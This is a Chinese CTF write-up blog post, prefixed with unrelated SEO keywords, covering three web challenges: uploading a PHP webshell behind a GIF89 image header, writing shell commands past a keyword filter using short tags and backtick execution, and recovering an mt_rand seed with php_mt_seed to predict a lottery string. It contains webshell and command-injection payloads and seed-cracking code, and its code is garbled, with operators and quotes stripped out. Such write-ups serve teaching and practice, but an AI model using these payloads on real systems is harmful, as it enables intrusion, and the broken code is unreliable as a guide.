用模板建商城购物网站,html企业整站模板网站,wordpress 百度网盘插件,额尔古纳做网站[WUSTCTF2020]CV Maker 可以看到有个注册页面#xff0c;尝试注册一个用户登进去看看 进来后第一眼就看到文件上传#xff0c;尝试上传#xff0c;上传php后返回了 文件上传后端检测exif_imagetype()函数
他提示不是image#xff0c;也就是需要我们构造一个文件头为图像类…[WUSTCTF2020]CV Maker 可以看到有个注册页面尝试注册一个用户登进去看看 进来后第一眼就看到文件上传尝试上传上传php后返回了 文件上传后端检测exif_imagetype()函数
他提示不是image也就是需要我们构造一个文件头为图像类型的php一句话木马。
加个文件头 GIF89 就可以了 然后源代码找到了文件上传后的路径 使用蚁剑连接即可。 [红明谷CTF 2021]write_shell 上来就代码审计
check函数用于检测输入字符串是否包含危险字符或关键字。如果检测到 , _, php, ;, ~, ^, , eval, {, } 等字符或关键词则输出 hacker!!! 并停止执行否则返回输入。
waf函数用于对输入进行 Web 应用防火墙WAF检测。如果输入是数组则递归调用自身对每个元素进行检测否则调用 check 函数进行检测。
根据用户的 IP 地址生成一个唯一的目录路径路径格式为 sandbox/ 目录下的 IP 地址的 MD5 哈希值。如果 action 参数是 pwd则输出生成的目录路径。如果 action 参数是 upload获取 GET 请求中的 data 参数调用 waf 函数对 data 进行检查然后将 data 写入到指定目录中的 index.php 文件。
那么这个题就是利用file_put_contents函数写入木马。
php标签的php被过滤可以换用短标签? code?至于;被过滤并不用单行因为?对于一组PHP代码中最后一句起到替代;的作用所以我们可以构造如下payload
?actionuploaddata?ls? 然后再?actionpwd查看目录 可以发现成功执行了那么接下来就查看根目录
?actionuploaddata?ls%09/? 查看flllllll1112222222lag的内容
?actionuploaddata?cat%09/flllllll1112222222lag? 这题主要有两个知识点 1.php短标签 2.php可在中执行系统命令.
PHP 支持一个执行运算符反引号。注意这不是单引号PHP 将尝试将反引号中的内容作为 shell 命令来执行并将其输出信息返回即可以赋给一个变量而不是简单地丢弃到标准输出。使用反引号运算符的效果与函数shell_exec() 相同。
[GWCTF 2019]枯燥的抽奖 可以看到题目要求我们猜到20位数才能够得到flag。
但是出题人是给了源代码的。从前端跟到check.php可以看到后台代码 代码审计涉及到随机数mt_rand函数这牵扯到一个安全问题。
1. 伪随机数 伪随机数是用确定性的算法计算出来的随机数序列它并不真正的随机但具有类似于随机数的统计特征如均匀性、独立性等。在计算伪随机数时若使用的初值种子不变那么伪随机数的数序也不变。伪随机数可以用计算机大量生成在模拟研究中为了提高模拟效率一般采用伪随机数代替真正的随机数。模拟中使用的一般是循环周期极长并能通过随机数检验的伪随机数以保证计算结果的随机性。伪随机数的生成方法有线性同余法、单向散列函数法、密码法等。
mt_rand就是一个伪随机数生成函数它由可确定的函数通过一个种子产生的伪随机数。这意味着如果知道了种子或者已经产生的随机数都可能获得接下来随机数序列的信息可预测性。
所以大致过程就明了了我们根据已经给出的部分随机数利用工具找出seed种子然后得到完整的随机数。
2. 将已知的部分伪随机数转化为php_mt_seed工具可以看懂的数据
str1 SZiQYsNmNK
str2 abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
result length str(len(str2)-1)
for i in range(0,len(str1)):for j in range(0,len(str2)):if str1[i] str2[j]:result str(j) str(j) 0 length breakprint(result) 输出的结果
54 54 0 61 61 61 0 61 8 8 0 61 52 52 0 61 60 60 0 61 18 18 0 61 49 49 0 61 12 12 0 61 49 49 0 61 46 46 0 61
3. 下载php_mt_seed工具并且使用
根据生成算法逆向出满足php_mt_seed工具要求的参数
下载连接:
php_mt_seed - PHP mt_rand() seed cracker
得到种子同时要注意php版本是php7.1以上的。
得到完整的字符串
?php
mt_srand(348806110);
$str_long1 abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ;
$str;
$len120;
for ( $i 0; $i $len1; $i ){$str.substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo p idp1.$str./p;
?
PHP的mt_rand函数作为一个随机数生成工具在程序中被广泛使用该函数用了 Mersenne Twister 算法的特性作为随机数发生器它产生随机数值的平均速度比 libc 提供的 rand() 快四倍。mt_rand函数有两个可选参数 min 和 max如果没有提供可选参数mt_rand函数将返回返回 0 到 mt_getrandmax() 之间的伪随机数。例如想要 5 到 15包括 5 和 15之间的随机数用 mt_rand(5, 15)。
常用的使用方式如下
?phpecho mt_rand() . \n;echo mt_rand() . \n;echo mt_rand(5, 15);?
输出
160471601414786132786
详解看PHP mt_rand安全杂谈及应用场景详解 - FreeBuf网络安全行业门户